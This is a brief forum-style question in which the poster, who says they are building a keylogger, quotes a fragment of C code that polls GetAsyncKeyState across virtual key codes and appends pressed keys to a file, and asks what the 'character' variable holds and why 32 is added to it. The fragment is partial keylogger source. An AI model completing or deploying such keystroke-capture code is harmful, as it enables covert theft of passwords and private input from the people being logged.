I have been trying to create a keylogger using data structures, and I saw this piece of code on a website.
I don't understand if the "character" is ASCII value or what? Plus why are we incrementing value of character by 32 in the last condition.
for (character = 8;character <= 222;character++)
{
if (GetAsyncKeyState(character) == -32767)
{
FILE *file;
file = fopen(FileName, "a+");
if (file != NULL)
{
if ((character >= 39) && (character <= 64))
{
fputc(character, file);
fclose(file);
break;
}
else if ((character>64) && (character<91))
{
character += 32;
fputc(character, file);
fclose(file);
break;
}
/* ... */
}
}
}
Aucun commentaire:
Enregistrer un commentaire